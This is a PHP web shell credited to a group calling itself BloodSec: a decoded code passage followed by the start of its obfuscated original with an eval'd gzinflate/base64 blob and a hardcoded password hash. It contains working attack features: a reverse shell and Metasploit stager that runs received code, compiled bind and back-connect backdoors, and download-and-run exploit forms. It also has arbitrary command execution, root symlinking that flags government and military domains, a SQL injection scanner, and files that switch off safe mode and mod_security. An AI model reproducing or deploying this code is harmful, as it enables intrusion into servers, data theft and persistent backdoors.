if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #428bca;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<center><br><br><br>
</center>
</form>
</center>
<?php
/////FUNCTIONS
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#428bca' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #428bca ; text-shadow: 0px 0px 1px #428bca; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}
//////////////////////////////////////////////////////
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whois'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo " $ip : $o_port ??? <u style=\"color: #428bca\">Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post"><table class="tabnet">
<tr><th colspan="5">Website Whois</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#428bca;background-color:#000000" class="inputz" value="site.com" />   <input class="inputzbut" type="submit" style="color:#428bca;background-color:#000000" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
<div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class=\"ru\"> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class=\"ru\">
<pre>".sws_domain_info($site)."</pre></div>";
flush();
echo "
<div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_net_info($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_sup_dom($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_site_ser($site)."</pre> </div>
<div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
flush();
}
echo '</center>';
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=about" method="post">
<center><br><html>
<head>
<iframe width="1" height="1" src="http://www.youtube.com/embed/sf6LD2B_kDQ?rel=0&autoplay=1&loop=1&playlist=1V5NPUiOVvg" frameborder="0" allowfullscreen></iframe>
</head>
<body>
<a href="https://www.facebook.com/OfficialBloodSecHackers.gov" target="_blank" ><img src="http://cs.i-services.com.hk/system/templates_c/vifocj.jpg" width="20%"></a>
<p> <span style="color:#ffffff;font-family:Abel;font-size:20;"><b>The world's leaders enjoyed their Luxurious pleasure but their money is your Cost.<br>
<br><br>[Contributors]<br><br>
Darkjin . . . . . Shell Programmer/CEO|Founder of BSH<br>
Smurfie . . . . . Shell Programmer/CEO of BSH<br>
NeoZone . . . . . Shell WebDesigner/CEO of BSH<br>
<br>
<br>~Laughing at your security since 2012~ </span>
<p> <span style="color:#ffffff;font-family:Abel;font-size:20;">Official Members:</b></Span></p>
<br>
<table align=center border="0">
<tr>
<td width=100% id=greetz>
<marquee behavior="scroll" direction="left" scrollamount="4" scrolldelay="55" width="100%">
<font size="5px" style="font-family: Iceberg, sans-serif;color:black;text-shadow: 0 0 3px red, 0px 0px 5px red" >
<b>-=| D4rkj1n - 2R4T$ - Smurfie - NeoZone - PH.Gamer[R] - 1nt0x1c4t3d - LittleDevilzUsagi - Syntax Error - NewbiexHacker - CyberGhost - NoiseOne - m4st3rb4nd01 - Crow - sKyle - AnoaGhost - Yamiko - SilentAngel - 1nuT1L - 1337 and to all official members of bsh :) |=-</font>
</marquee>
</td>
</table>
<br><br>
</html>
<?php
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#428bca;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#428bca;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#428bca> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'apa')){
if(isset($_POST['uploadcomp'])){
if(is_uploaded_file($_FILES['file']['tmp_name'])){
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $fname";
}
else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$path = magicboom($_POST['path']);
$namafile = download($pilihan,$wurl);
$pindah = $path.$namafile;
if(is_file($pindah)) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $namafile";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=apa" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=apa">
<table><tr><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "error: file not found $namafile";
}
?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php }
else {
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
$file = $_GET['delete'];
@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
$path = $pwd.$_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?>
<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST['ini']))
{
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
die();
}
?>
<?php
$str = 'PGNlbnRlcj48YnI+PGJyPjxkaXYgY2xhc3M9ImluZm8iPi09WyBEZXZlbG9wIGJ5IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9PZmZpY2lhbEJsb29kU2VjSGFja2Vycy5nb3YiPjxiPkQ0cmtqMW48L2I+PC9hPiBdPS08L2Rpdj48YnI+CjxkaXYgY2xhc3M9ImpheWEiPiZjb3B5OyAyMDEyLTIwMTQgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL09mZmljaWFsQmxvb2RTZWNIYWNrZXJzLmdvdiI+Qmxvb2RTZWN1cml0eTwvYT48L2Rpdj48L2NlbnRlcj48YnI+PGJyPg==';
echo base64_decode($str);
?>
</script>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
/* (Code By D4rkj1n~ / Design Neozone~ default pass:"bloodsecurity") */
/* You can change the login pass, but it should be in md5. You can encrypt your password here http://md5encryption.com/ */
$auth_pass = "750991726bdebae4b93a09024bdbaf60";
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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